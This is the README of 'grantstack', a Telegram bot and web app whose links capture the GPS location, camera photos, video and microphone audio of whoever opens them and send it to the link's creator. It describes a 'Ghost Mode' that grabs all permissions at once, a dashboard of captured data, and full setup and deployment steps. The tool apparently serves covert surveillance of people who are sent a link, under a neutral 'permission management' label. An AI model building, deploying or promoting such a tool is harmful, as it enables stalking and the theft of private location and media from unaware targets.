A Telegram bot for managing device permissions and capturing media/location data with instant notifications. Built with Node.js, Next.js, and PostgreSQL.
- π Location Tracking - Capture GPS coordinates with high accuracy
- π· Photo Capture - Take photos using device camera
- π₯ Video Recording - Record videos with audio
- π€ Audio Recording - Capture microphone audio
- π» Ghost Mode - Capture all permissions at once
- π Instant Notifications - Real-time alerts to Telegram
- π Results Dashboard - View all captured data categorized
- π User Approval System - Admin controls who can use the bot
- π Permanent Links - Same user always gets the same capture link
βββββββββββββββββββ βββββββββββββββββββ βββββββββββββββββββ
β Telegram Bot ββββββΆβ Express API ββββββΆβ PostgreSQL β
β (Telegraf) β β (Node.js) β β Database β
βββββββββββββββββββ βββββββββββββββββββ βββββββββββββββββββ
β
βΌ
βββββββββββββββββββ
β Next.js Web β
β (Vercel) β
βββββββββββββββββββ
βββ server/ # Express.js Backend API
β βββ controllers/ # Request handlers
β βββ routes/ # API routes
β βββ services/ # Business logic
β βββ db/ # Database setup & migrations
β βββ middleware/ # Express middleware
β βββ storage/ # Media file storage
β
βββ telegram-bot/ # Telegram Bot (Telegraf)
β βββ bot.js # Main bot logic
β βββ keyboard.js # Telegram keyboards
β βββ api.js # API client
β βββ config.js # Bot configuration
β
βββ web/ # Next.js Frontend (Vercel)
β βββ app/ # App router pages
β β βββ [type]/[userId] # Dynamic capture pages
β βββ components/ # React components
β βββ hooks/ # Custom React hooks
β βββ lib/ # Utilities
β
βββ ecosystem.config.js # PM2 configuration
- Node.js 18+
- PostgreSQL 14+
- Telegram Bot Token (from @BotFather)
git clone https://github.com/suhaib3100/grantstack.git
cd grantstackServer (.env in /server):
PORT=3001
NODE_ENV=production
# Database
DATABASE_URL=postgresql://user:password@localhost:5432/grantstack
# Telegram
BOT_TOKEN=your_bot_token_here
ADMIN_TELEGRAM_ID=your_telegram_id
# Web Client
WEB_CLIENT_URL=https://your-domain.vercel.appTelegram Bot (.env in /telegram-bot):
BOT_TOKEN=your_bot_token_here
API_BASE_URL=http://localhost:3001
WEB_CLIENT_URL=https://your-domain.vercel.appWeb (.env.local in /web):
NEXT_PUBLIC_API_URL=https://your-api-domain.com# Server
cd server && npm install
# Telegram Bot
cd ../telegram-bot && npm install
# Web
cd ../web && npm installcd server
npm run db:initDevelopment:
# Terminal 1 - Server
cd server && npm run dev
# Terminal 2 - Bot
cd telegram-bot && npm run dev
# Terminal 3 - Web
cd web && npm run devProduction (with PM2):
pm2 start ecosystem.config.js- Clone repo on VPS
- Install Node.js 18+, PostgreSQL, PM2
- Setup environment variables
- Run
pm2 start ecosystem.config.js
See VPS_SETUP.md for detailed instructions.
- Import repo to Vercel
- Set environment variable:
NEXT_PUBLIC_API_URL - Deploy
See web/VERCEL_DEPLOY.md for detailed instructions.
| Command | Description |
|---|---|
/start |
Start the bot and show menu |
/help |
Show help message |
/status |
Check bot status |
- π Location - Generate location capture link
- π· Single Photo - Generate photo capture link
- π₯ Video - Generate video capture link
- π€ Microphone - Generate audio capture link
- π» Ghost Mode - Generate all-in-one capture link
- π View All Results - View all captured data
- π Admin Panel - Manage users (admin only)
| Method | Endpoint | Description |
|---|---|---|
| POST | /:userId/location |
Upload location data |
| POST | /:userId/photo |
Upload photo |
| POST | /:userId/video |
Upload video |
| POST | /:userId/audio |
Upload audio |
| POST | /:userId/event |
Permission events |
| GET | /:userId/data |
Get user's captured data |
| Method | Endpoint | Description |
|---|---|---|
| POST | / |
Create new session |
| GET | /:id |
Get session details |
| PUT | /:id/end |
End session |
| Method | Endpoint | Description |
|---|---|---|
| GET | /users |
List all users |
| GET | /requests |
Get pending access requests |
| POST | /approve/:id |
Approve user |
| POST | /deny/:id |
Deny user |
- User approval system - only approved users can generate links
- Rate limiting on API endpoints
- CORS protection
- Helmet.js security headers
- Input validation and sanitization
MIT License - see LICENSE for details.
- Fork the repository
- Create your feature branch (
git checkout -b feature/amazing-feature) - Commit your changes (
git commit -m 'Add amazing feature') - Push to the branch (
git push origin feature/amazing-feature) - Open a Pull Request
- Create an issue on GitHub
- Contact: TG: SuhaibKIng01
Made with β€οΈ by Suhaib